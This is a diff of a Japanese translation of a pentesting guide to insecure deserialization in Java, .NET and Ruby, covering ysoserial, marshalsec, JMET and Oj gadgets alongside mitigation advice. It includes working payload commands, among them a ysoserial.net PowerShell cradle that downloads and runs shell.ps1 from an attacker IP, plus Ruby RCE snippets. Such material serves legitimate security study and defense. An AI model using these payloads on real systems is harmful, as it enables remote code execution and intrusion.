Javaデシリアライズをエクスプロイトするための主なツールは[**ysoserial**](https://github.com/frohoff/ysoserial)です([**こちらからダウンロード**](https://jitpack.io/com/github/frohoff/ysoserial/master-SNAPSHOT/ysoserial-master-SNAPSHOT.jar))。また、複雑なコマンド(パイプなど)を使用できる[**ysoseral-modified**](https://github.com/pimps/ysoserial-modified)の使用も検討できます。\
|
||||
このツールは**`ObjectInputStream`**のエクスプロイトに**焦点を当てている**ことに注意してください。\
|
||||
私は**RCEペイロードの前に「URLDNS」ペイロードを使用することをお勧めします**。注目すべきは、「URLDNS」ペイロードが機能しない場合でも、他のRCEペイロードが機能する可能性があることです。
|
||||
```bash
|
||||
# PoC to make the application perform a DNS req
|
||||
java -jar ysoserial-master-SNAPSHOT.jar URLDNS http://b7j40108s43ysmdpplgd3b7rdij87x.burpcollaborator.net > payload
|
||||
@ -482,7 +482,7 @@ java -jar ysoserial-master-SNAPSHOT.jar CommonsCollections4 "bash -c {echo,ZXhwb
|
||||
# Base64 encode payload in base64
|
||||
base64 -w0 payload
|
||||
```
|
||||
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような **特殊文字** を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース** で区切られた **引数** をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするためには、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用することができます。
|
||||
**java.lang.Runtime.exec()** のペイロードを作成する際、実行の出力をリダイレクトするために ">" や "|" のような **特殊文字** を使用することはできません。また、コマンドを実行するために "$()" を使用したり、**スペース** で区切られた **引数** をコマンドに渡すこともできません(`echo -n "hello world"` は可能ですが、`python2 -c 'print "Hello world"'` はできません)。ペイロードを正しくエンコードするために、[このウェブページ](http://www.jackson-t.ca/runtime-exec-payloads.html) を使用することができます。
|
||||
|
||||
次のスクリプトを使用して、Windows と Linux の **すべての可能なコード実行** ペイロードを作成し、脆弱なウェブページでテストしてください:
|
||||
```python
|
||||
@ -511,7 +511,7 @@ generate('Linux', 'ping -c 1 nix.REPLACE.server.local')
|
||||
|
||||
#### marshalsec
|
||||
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアライズライブラリを悪用するためのペイロードを生成するために使用できます。\
|
||||
[**marshalsec** ](https://github.com/mbechler/marshalsec)は、Javaの異なる**Json**および**Yml**シリアル化ライブラリを悪用するためのペイロードを生成するために使用できます。\
|
||||
プロジェクトをコンパイルするために、私は`pom.xml`にこの**依存関係**を**追加する必要がありました**:
|
||||
```html
|
||||
<dependency>
|
||||
@ -538,7 +538,7 @@ mvn clean package -DskipTests
|
||||
|
||||
### Labs
|
||||
|
||||
- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行**できます: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- いくつかのysoserialペイロードをテストしたい場合は、**このウェブアプリを実行できます**: [https://github.com/hvqzao/java-deserialize-webapp](https://github.com/hvqzao/java-deserialize-webapp)
|
||||
- [https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/](https://diablohorn.com/2017/09/09/understanding-practicing-java-deserialization-exploits/)
|
||||
|
||||
### Why
|
||||
@ -562,7 +562,7 @@ public class myAccount implements Serializable
|
||||
private transient double profit; // declared transient
|
||||
private transient double margin; // declared transient
|
||||
```
|
||||
#### Serializableを実装する必要があるクラスのシリアライズを避ける
|
||||
#### Serializableを実装する必要があるクラスのシリアル化を避ける
|
||||
|
||||
特定の**オブジェクトがクラス階層のために`Serializable`**インターフェースを実装しなければならないシナリオでは、意図しないデシリアライズのリスクがあります。これを防ぐために、以下のように常に例外をスローする`final`な`readObject()`メソッドを定義して、これらのオブジェクトがデシリアライズ不可能であることを確認してください。
|
||||
```java
|
||||
@ -598,7 +598,7 @@ return super.resolveClass(desc);
|
||||
}
|
||||
}
|
||||
```
|
||||
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合の代替ソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します:
|
||||
**セキュリティ強化のためのJavaエージェントの使用**は、コードの修正が不可能な場合のフォールバックソリューションを提供します。この方法は主に**有害なクラスのブラックリスト化**に適用され、JVMパラメータを使用します:
|
||||
```
|
||||
-javaagent:name-of-agent.jar
|
||||
```
|
||||
@ -608,7 +608,7 @@ return super.resolveClass(desc);
|
||||
|
||||
**シリアライゼーションフィルターの実装**: Java 9では、**`ObjectInputFilter`**インターフェースを介してシリアライゼーションフィルターが導入され、デシリアライズされる前にシリアライズされたオブジェクトが満たすべき基準を指定するための強力なメカニズムを提供します。これらのフィルターは、グローバルにまたはストリームごとに適用でき、デシリアライズプロセスに対する詳細な制御を提供します。
|
||||
|
||||
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームに対して動的に構成することができます。例えば:
|
||||
シリアライゼーションフィルターを利用するには、すべてのデシリアライズ操作に適用されるグローバルフィルターを設定するか、特定のストリームのために動的に構成することができます。例えば:
|
||||
```java
|
||||
ObjectInputFilter filter = info -> {
|
||||
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
|
||||
@ -620,11 +620,11 @@ return Status.ALLOWED;
|
||||
};
|
||||
ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
```
|
||||
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、デシリアライズ前にシリアライズされたオブジェクトを分析したり、クラスのホワイトリストやブラックリストを作成したり、カスタムシリアライズ戦略を実装したりするなど、追加のセキュリティ層を提供できます。
|
||||
**外部ライブラリを活用したセキュリティの強化**: **NotSoSerial**、**jdeserialize**、および**Kryo**などのライブラリは、Javaのデシリアライズを制御および監視するための高度な機能を提供します。これらのライブラリは、クラスのホワイトリストやブラックリストの作成、デシリアライズ前のシリアライズされたオブジェクトの分析、カスタムシリアライズ戦略の実装など、追加のセキュリティ層を提供できます。
|
||||
|
||||
- **NotSoSerial**は、信頼できないコードの実行を防ぐためにデシリアライズプロセスを傍受します。
|
||||
- **jdeserialize**は、デシリアライズせずにシリアライズされたJavaオブジェクトを分析できるため、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
|
||||
- **Kryo**は、スピードと効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
|
||||
- **jdeserialize**は、デシリアライズせずにシリアライズされたJavaオブジェクトを分析でき、潜在的に悪意のあるコンテンツを特定するのに役立ちます。
|
||||
- **Kryo**は、速度と効率を重視した代替シリアライゼーションフレームワークで、セキュリティを強化できる構成可能なシリアライゼーション戦略を提供します。
|
||||
|
||||
### 参考文献
|
||||
|
||||
@ -642,7 +642,7 @@ ObjectInputFilter.Config.setSerialFilter(filter);
|
||||
|
||||
## JNDIインジェクション & log4Shell
|
||||
|
||||
**JNDIインジェクションとは何か、RMI、CORBA、LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください:
|
||||
**JNDIインジェクションとは何か、RMI、CORBA & LDAPを介してどのように悪用するか、log4shellをどのように悪用するか**(およびこの脆弱性の例)については、以下のページを参照してください:
|
||||
|
||||
{{#ref}}
|
||||
jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
@ -650,11 +650,11 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## JMS - Javaメッセージサービス
|
||||
|
||||
> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
> **Javaメッセージサービス**(**JMS**)APIは、2つ以上のクライアント間でメッセージを送信するためのJavaメッセージ指向ミドルウェアAPIです。これは、プロデューサー–コンシューマー問題を処理するための実装です。JMSはJavaプラットフォーム、エンタープライズエディション(Java EE)の一部であり、Sun Microsystemsで開発された仕様によって定義されましたが、その後Javaコミュニティプロセスによって指導されています。これは、Java EEに基づくアプリケーションコンポーネントがメッセージを作成、送信、受信、および読み取ることを可能にするメッセージング標準です。これは、分散アプリケーションの異なるコンポーネント間の通信を緩く結合し、信頼性が高く非同期にします。(出典: [Wikipedia](https://en.wikipedia.org/wiki/Java_Message_Service))。
|
||||
|
||||
### 製品
|
||||
|
||||
このミドルウェアを使用してメッセージを送信する製品がいくつかあります:
|
||||
このミドルウェアを使用してメッセージを送信する製品はいくつかあります:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -662,12 +662,12 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
### 悪用
|
||||
|
||||
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるオブジェクトを送信できる可能性があります**。\
|
||||
基本的に、**危険な方法でJMSを使用しているサービスが多数存在します**。したがって、これらのサービスにメッセージを送信するための**十分な権限**がある場合(通常は有効な資格情報が必要です)、**デシリアライズされる悪意のあるシリアライズオブジェクトを送信できる可能性があります**。\
|
||||
これは、この悪用において、**そのメッセージを使用するすべてのクライアントが感染する**ことを意味します。
|
||||
|
||||
サービスが脆弱である場合(ユーザー入力を安全でない方法でデシリアライズしているため)、脆弱性を悪用するための有効なガジェットを見つける必要があることを忘れないでください。
|
||||
|
||||
ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた複数の悪意のあるオブジェクトを送信するためにこれらのサービスに接続して攻撃するために作成されました**。これらのエクスプロイトは、サービスが依然として脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
ツール[**JMET**](https://github.com/matthiaskaiser/jmet)は、**既知のガジェットを使用してシリアライズされた悪意のあるオブジェクトを送信するためにこれらのサービスに接続して攻撃する**ために作成されました。これらのエクスプロイトは、サービスがまだ脆弱であり、使用されるガジェットのいずれかが脆弱なアプリケーション内に存在する場合に機能します。
|
||||
|
||||
### 参考文献
|
||||
|
||||
@ -678,13 +678,13 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
## .Net
|
||||
|
||||
.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがデシリアライズ中に特定のコードを実行するために悪用されます。
|
||||
.Netの文脈において、デシリアライズの悪用は、Javaで見られるものと同様の方法で動作し、ガジェットがオブジェクトのデシリアライズ中に特定のコードを実行するために悪用されます。
|
||||
|
||||
### フィンガープリンティング
|
||||
|
||||
#### ホワイトボックス
|
||||
|
||||
ソースコード内で以下の出現を検査する必要があります:
|
||||
ソースコードを検査して、以下の出現を探すべきです:
|
||||
|
||||
1. `TypeNameHandling`
|
||||
2. `JavaScriptTypeResolver`
|
||||
@ -693,26 +693,26 @@ jndi-java-naming-and-directory-interface-and-log4shell.md
|
||||
|
||||
#### ブラックボックス
|
||||
|
||||
検索は、サーバー側でデシリアライズされる可能性のあるBase64エンコードされた文字列**AAEAAAD/////**またはそれに類似したパターンを対象とする必要があります。これには、`TypeObject`や`$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません。
|
||||
検索は、Base64エンコードされた文字列**AAEAAAD/////**または、サーバー側でデシリアライズされる可能性のある類似のパターンを対象とするべきです。これには、`TypeObject`や`$type`を含む**JSON**または**XML**構造が含まれる可能性がありますが、これに限定されません。
|
||||
|
||||
### ysoserial.net
|
||||
|
||||
この場合、ツール[**ysoserial.net**](https://github.com/pwntester/ysoserial.net)を使用して**デシリアライズの悪用を作成**できます。gitリポジトリをダウンロードしたら、Visual Studioなどを使用して**ツールをコンパイル**する必要があります。
|
||||
|
||||
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッタについて説明しているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
**ysoserial.netがどのように悪用を作成するか**について学びたい場合は、[**ObjectDataProviderガジェット + ExpandedWrapper + Json.Netフォーマッターが説明されているこのページを確認してください**](basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md)。
|
||||
|
||||
**ysoserial.net**の主なオプションは、**`--gadget`**、**`--formatter`**、**`--output`**、および**`--plugin`**です。
|
||||
|
||||
- **`--gadget`**は、悪用するガジェットを示すために使用されます(デシリアライズ中にコマンドを実行するために悪用されるクラス/関数を示します)。
|
||||
- **`--formatter`**は、悪用をシリアライズする方法を示すために使用されます(ペイロードをデシリアライズするためにバックエンドが使用しているライブラリを知り、それを使用してシリアライズする必要があります)。
|
||||
- **`--output`**は、悪用を**生**または**base64**エンコードされた形式で取得したいかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**するため、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディング互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_
|
||||
- **`--output`**は、悪用を**生**または**base64**エンコードで出力するかどうかを示すために使用されます。_注意してください、**ysoserial.net**はペイロードを**UTF-16LE**(Windowsでデフォルトで使用されるエンコーディング)を使用して**エンコード**しますので、生のペイロードを取得してLinuxコンソールからエンコードすると、悪用が正しく機能しない**エンコーディングの互換性の問題**が発生する可能性があります(HTB JSONボックスではペイロードはUTF-16LEとASCIIの両方で機能しましたが、これは常に機能するとは限りません)。_
|
||||
- **`--plugin`**ysoserial.netは、ViewStateのような**特定のフレームワーク用の悪用を作成するためのプラグイン**をサポートしています。
|
||||
|
||||
#### 追加のysoserial.netパラメータ
|
||||
|
||||
- `--minify`は**小さいペイロード**を提供します(可能な場合)。
|
||||
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッタ(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
|
||||
- `--sf xml`は**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッタを検索します(大文字と小文字を区別しません)。
|
||||
- `--minify`は**小さなペイロード**を提供します(可能な場合)。
|
||||
- `--raf -f Json.Net -c "anything"`これは、提供されたフォーマッター(この場合は`Json.Net`)で使用できるすべてのガジェットを示します。
|
||||
- `--sf xml`は**ガジェット**(`-g`)を示すことができ、ysoserial.netは「xml」を含むフォーマッターを検索します(大文字と小文字を区別しません)。
|
||||
|
||||
**ysoserialの例**を使用して悪用を作成します:
|
||||
```bash
|
||||
@ -732,7 +732,7 @@ echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.
|
||||
#Create exploit using the created B64 shellcode
|
||||
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
|
||||
```
|
||||
**ysoserial.net** には、各エクスプロイトの動作をよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
|
||||
**ysoserial.net** には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ **非常に興味深いパラメータ** があります: `--test`\
|
||||
このパラメータを指定すると、 **ysoserial.net** は **ローカルでエクスプロイトを試みます** ので、ペイロードが正しく機能するかどうかをテストできます。\
|
||||
このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです (from [ObjectDataProviderGenerator.cs](https://github.com/pwntester/ysoserial.net/blob/c53bd83a45fb17eae60ecc82f7147b5c04b07e42/ysoserial/Generators/ObjectDataProviderGenerator.cs#L208)):
|
||||
```java
|
||||
@ -759,8 +759,8 @@ TypeNameHandling = TypeNameHandling.Auto
|
||||
return obj;
|
||||
}
|
||||
```
|
||||
In the **前のコードは作成されたエクスプロイトに脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
|
||||
したがって、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
|
||||
**前のコードは作成されたエクスプロイトに対して脆弱です**。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性があります。\
|
||||
そのため、**`--test`**パラメータは、**どのコードのチャンクが**ysoserial.net**によって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。**
|
||||
|
||||
### ViewState
|
||||
|
||||
@ -770,19 +770,19 @@ In the **前のコードは作成されたエクスプロイトに脆弱です**
|
||||
|
||||
.Netにおけるデシリアライズに関連するリスクを軽減するために:
|
||||
|
||||
- **データストリームにオブジェクトタイプを定義させないようにします。** 可能な場合は`DataContractSerializer`または`XmlSerializer`を利用してください。
|
||||
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定します:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と一緒に使用しないでください。**
|
||||
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。**
|
||||
- **リスクのあるプロパティを持つタイプに注意してください。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
||||
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御します。これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。**
|
||||
- **`BinaryFormatter`および`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装します。**
|
||||
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。**
|
||||
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、WPFアプリケーションの`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにします。**
|
||||
- **データストリームがオブジェクトタイプを定義することを許可しない。** 可能な限り`DataContractSerializer`または`XmlSerializer`を利用してください。
|
||||
- **`JSON.Net`の場合、`TypeNameHandling`を`None`に設定する:** `TypeNameHandling = TypeNameHandling.None`
|
||||
- **`JavaScriptSerializer`を`JavaScriptTypeResolver`と共に使用しない。**
|
||||
- **デシリアライズ可能なタイプを制限し、`System.IO.FileInfo`のような.Netタイプに内在するリスクを理解する。** これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。
|
||||
- **リスクのあるプロパティを持つタイプに注意する。** 例えば、`System.ComponentModel.DataAnnotations.ValidationException`の`Value`プロパティは悪用される可能性があります。
|
||||
- **攻撃者がデシリアライズプロセスに影響を与えないように、タイプのインスタンス化を安全に制御する。** これにより、`DataContractSerializer`や`XmlSerializer`でさえ脆弱になります。
|
||||
- **`BinaryFormatter`および`JSON.Net`のためにカスタム`SerializationBinder`を使用してホワイトリスト制御を実装する。**
|
||||
- **.Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにする。**
|
||||
- **インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、`System.Windows.Data.ObjectDataProvider`のような既知のガジェットを信頼できないデータソースにさらさないようにする。**
|
||||
|
||||
### **References**
|
||||
|
||||
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、**トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- Javaと.NetのJSONデシリアライズに関する**論文:** [**https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf**](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf)**、** トーク: [https://www.youtube.com/watch?v=oUAeWhW5b8c](https://www.youtube.com/watch?v=oUAeWhW5b8c) およびスライド: [https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf](https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf)
|
||||
- [https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp)
|
||||
- [https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf](https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf)
|
||||
- [https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization](https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization)
|
||||
@ -873,14 +873,14 @@ puts Base64.encode64(payload)
|
||||
|
||||
### Ruby .send() メソッド
|
||||
|
||||
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッドを**任意のパラメータで呼び出すことを可能にします。
|
||||
[**この脆弱性レポート**](https://starlabs.sg/blog/2024/04-sending-myself-github-com-environment-variables-and-ghes-shell/)で説明されているように、ユーザーのサニタイズされていない入力がrubyオブジェクトの`.send()`メソッドに到達すると、このメソッドはオブジェクトの**他の任意のメソッドを**任意のパラメータで呼び出すことを可能にします。
|
||||
|
||||
例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:
|
||||
```ruby
|
||||
<Object>.send('eval', '<user input with Ruby code>') == RCE
|
||||
```
|
||||
さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
|
||||
これを実現するために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。
|
||||
さらに、**`.send()`** のパラメータのうち1つだけが攻撃者によって制御されている場合、前述の説明にあるように、**引数を必要としない**か、**デフォルト値**を持つオブジェクトの任意のメソッドを呼び出すことが可能です。\
|
||||
これを行うために、**その要件を満たす興味深いメソッドを見つけるためにオブジェクトのすべてのメソッドを列挙する**ことが可能です。
|
||||
```ruby
|
||||
<Object>.send('<user_input>')
|
||||
|
||||
@ -904,21 +904,21 @@ candidate_methods.length() # Final number of methods=> 3595
|
||||
```
|
||||
### Rubyクラス汚染
|
||||
|
||||
[ここでRubyクラスを汚染し、それを悪用する方法を確認してください](ruby-class-pollution.md)。
|
||||
[ここでRubyクラスを汚染し、悪用する方法を確認してください](ruby-class-pollution.md)。
|
||||
|
||||
### Ruby _json汚染
|
||||
|
||||
ボディに配列のようなハッシュ化できない値を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
|
||||
ボディにハッシュ化できない値(配列など)を送信すると、それらは`_json`という新しいキーに追加されます。しかし、攻撃者はボディに任意の値を持つ`_json`という値を設定することも可能です。例えば、バックエンドがパラメータの真偽をチェックし、その後`_json`パラメータを使用して何らかのアクションを実行する場合、認証バイパスが行われる可能性があります。
|
||||
|
||||
[Ruby _json汚染ページで詳細情報を確認してください](ruby-_json-pollution.md)。
|
||||
|
||||
### その他のライブラリ
|
||||
|
||||
この技術は[**このブログ投稿から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
||||
この技術は[**このブログ記事から**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)取得されました。
|
||||
|
||||
オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、それらは不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされる際に呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):
|
||||
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code> (クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code> ([json_createに関するノートを最後に参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
<table data-header-hidden><thead><tr><th width="179"></th><th width="146"></th><th></th></tr></thead><tbody><tr><td><strong>ライブラリ</strong></td><td><strong>入力データ</strong></td><td><strong>クラス内のキックオフメソッド</strong></td></tr><tr><td>Marshal (Ruby)</td><td>バイナリ</td><td><code>_load</code></td></tr><tr><td>Oj</td><td>JSON</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Ox</td><td>XML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)</td></tr><tr><td>Psych (Ruby)</td><td>YAML</td><td><code>hash</code>(クラスはハッシュ(マップ)にキーとして入れる必要があります)<br><code>init_with</code></td></tr><tr><td>JSON (Ruby)</td><td>JSON</td><td><code>json_create</code>([json_createに関するノートを参照](#table-vulnerable-sinks))</td></tr></tbody></table>
|
||||
|
||||
基本的な例:
|
||||
```ruby
|
||||
@ -942,7 +942,7 @@ puts json_payload
|
||||
# Sink vulnerable inside the code accepting user input as json_payload
|
||||
Oj.load(json_payload)
|
||||
```
|
||||
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すギジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
|
||||
Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すガジェットクラスを見つけることができました。これにより、specが呼び出され、fetch_pathが呼び出され、ランダムなURLを取得することが可能になり、これらの種類の未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。
|
||||
```json
|
||||
{
|
||||
"^o": "URI::HTTP",
|
||||
@ -976,7 +976,7 @@ Ojを悪用しようとした場合、`hash`関数内で`to_s`を呼び出すギ
|
||||
}
|
||||
}
|
||||
```
|
||||
[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)の詳細を確認してください。
|
||||
[**元の投稿**](https://github.blog/security/vulnerability-research/execute-commands-by-sending-json-learn-how-unsafe-deserialization-vulnerabilities-work-in-ruby-projects/?utm_source=pocket_shared)で詳細を確認してください。
|
||||
|
||||
### ブートストラップキャッシング
|
||||
|
||||
@ -990,27 +990,77 @@ Railsアプリのファイルアップロード機能は、攻撃者が任意に
|
||||
|
||||
- Bootsnapのキャッシュメカニズムの理解
|
||||
|
||||
Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーは、アプリの起動時にキャッシュを検証するために使用されます。
|
||||
Bootsnapは、コンパイルされたRubyコード、YAML、およびJSONファイルをキャッシュすることでRailsの起動時間を短縮します。キャッシュファイルにはキャッシュキーヘッダー(Rubyバージョン、ファイルサイズ、mtime、コンパイルオプションなどのフィールドを含む)が含まれ、その後にコンパイルされたコードが続きます。このヘッダーはアプリの起動時にキャッシュを検証するために使用されます。
|
||||
